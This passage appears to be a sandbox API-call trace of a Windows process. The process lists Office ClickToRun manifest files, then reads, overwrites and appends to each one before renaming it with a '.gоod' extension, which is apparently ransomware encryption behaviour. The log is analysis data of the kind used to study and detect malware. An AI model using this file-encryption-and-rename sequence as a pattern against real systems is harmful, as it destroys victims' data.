ftLastAccessTime.dwLowDateTime=0xed067a9a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1 [0080.360] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1 [0080.360] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1 [0080.360] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed041918, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed041918, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1 [0080.360] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01b5ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed01b5ef, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1 [0080.360] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a705a3, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a705a3, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1 [0080.361] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4a3b4, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a4a3b4, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1 [0080.361] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf5ca1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf5ca1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~2.XML")) returned 1 [0080.361] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf3682d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xecf3682d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1 [0080.361] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x49bee514, ftLastAccessTime.dwHighDateTime=0x1d32745, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0080.361] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3481a2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f3481a2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf427d4ce, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentFallBack2016.xml", cAlternateFileName="MICROS~2.XML")) returned 1 [0080.361] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0e5bdc, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x3f0e5bdc, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xf40d9aa3, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x433f4072, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x433f4072, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x1bd7df5e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b826, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoutilstat.etw.man", cAlternateFileName="MSOUTI~1.MAN")) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 1 [0080.362] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1faee660 | out: lpFindFileData=0x1faee660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b4f7c0, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x42b4f7c0, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x244f1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9bddd, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordEtw.man", cAlternateFileName="")) returned 0 [0080.362] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0080.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee8c0) returned 1 [0080.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee880) returned 1 [0080.363] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", lpFilePart=0x0) returned 0x5b [0080.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0080.363] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), fInfoLevelId=0x0, lpFileInformation=0x36cbf88 | out: lpFileInformation=0x36cbf88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23)) returned 1 [0080.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0080.364] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", lpFilePart=0x0) returned 0x5b [0080.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0080.364] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0080.365] GetFileType (hFile=0x798) returned 0x1 [0080.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0080.365] GetFileType (hFile=0x798) returned 0x1 [0080.365] SetFilePointer (in: hFile=0x798, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0080.365] ReadFile (in: hFile=0x798, lpBuffer=0x36cc400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x36cc400*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0080.367] CloseHandle (hObject=0x798) returned 1 [0080.367] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", lpFilePart=0x0) returned 0x5b [0080.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0080.367] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x798 [0080.367] GetFileType (hFile=0x798) returned 0x1 [0080.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0080.367] GetFileType (hFile=0x798) returned 0x1 [0080.367] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x44e23 [0080.368] WriteFile (in: hFile=0x798, lpBuffer=0x36cd6c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x36cd6c8*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0080.422] CloseHandle (hObject=0x798) returned 1 [0081.039] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", lpFilePart=0x0) returned 0x5b [0081.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0081.039] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0081.040] GetFileType (hFile=0x76c) returned 0x1 [0081.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0081.040] GetFileType (hFile=0x76c) returned 0x1 [0081.040] ReadFile (in: hFile=0x76c, lpBuffer=0x3278e28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x3278e28*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0081.078] CloseHandle (hObject=0x76c) returned 1 [0081.078] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", lpFilePart=0x0) returned 0x5b [0081.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0081.079] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0081.079] GetFileType (hFile=0x76c) returned 0x1 [0081.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0081.079] GetFileType (hFile=0x76c) returned 0x1 [0081.079] WriteFile (in: hFile=0x76c, lpBuffer=0x3277b50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x3277b50*, lpNumberOfBytesWritten=0x1faee7b8*=0x1010, lpOverlapped=0x0) returned 1 [0081.079] CloseHandle (hObject=0x76c) returned 1 [0081.084] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", lpFilePart=0x0) returned 0x5b [0081.085] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.gоod", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.gоod", lpFilePart=0x0) returned 0x60 [0081.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee6f0) returned 1 [0081.085] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), fInfoLevelId=0x0, lpFileInformation=0x1faee7d0 | out: lpFileInformation=0x1faee7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x2c8a257b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x44e33)) returned 1 [0081.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6b0) returned 1 [0081.085] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man.gоod")) returned 1 [0081.085] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0081.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee730) returned 1 [0081.086] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x32f53a0 | out: lpFileInformation=0x32f53a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0)) returned 1 [0081.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee6f0) returned 1 [0081.086] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0081.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0081.086] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0081.873] GetFileType (hFile=0x76c) returned 0x1 [0081.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0081.875] GetFileType (hFile=0x76c) returned 0x1 [0081.875] SetFilePointer (in: hFile=0x76c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x1000 [0081.875] ReadFile (in: hFile=0x76c, lpBuffer=0x338a2f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee758, lpOverlapped=0x0 | out: lpBuffer=0x338a2f0*, lpNumberOfBytesRead=0x1faee758*=0x1000, lpOverlapped=0x0) returned 1 [0081.900] CloseHandle (hObject=0x76c) returned 1 [0081.900] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0081.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0081.900] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0081.900] GetFileType (hFile=0x76c) returned 0x1 [0081.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0081.900] GetFileType (hFile=0x76c) returned 0x1 [0081.900] SetFilePointer (in: hFile=0x76c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faee788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faee788*=0) returned 0x91f0 [0081.900] WriteFile (in: hFile=0x76c, lpBuffer=0x338de20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faee678, lpOverlapped=0x0 | out: lpBuffer=0x338de20*, lpNumberOfBytesWritten=0x1faee678*=0x10, lpOverlapped=0x0) returned 1 [0081.901] CloseHandle (hObject=0x76c) returned 1 [0081.904] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0081.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0081.904] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0081.904] GetFileType (hFile=0x76c) returned 0x1 [0081.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0081.904] GetFileType (hFile=0x76c) returned 0x1 [0081.904] ReadFile (in: hFile=0x76c, lpBuffer=0x33902a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faee708, lpOverlapped=0x0 | out: lpBuffer=0x33902a8*, lpNumberOfBytesRead=0x1faee708*=0x1000, lpOverlapped=0x0) returned 1 [0081.935] CloseHandle (hObject=0x76c) returned 1 [0081.935] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1faee110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x7d [0081.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faee630) returned 1 [0081.935] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x76c [0081.935] GetFileType (hFile=0x76c) returned 0x1 [0081.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faee5a0) returned 1 [0081.935] GetFileType (hFile=0x76c) returned 0x1 [0081.935] WriteFile (in: hFile=0x76c, lpBuffer=0x338ef48*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faee7b8, lpOverlapped=0x0 | out: lpBuffer=0x338ef48*, 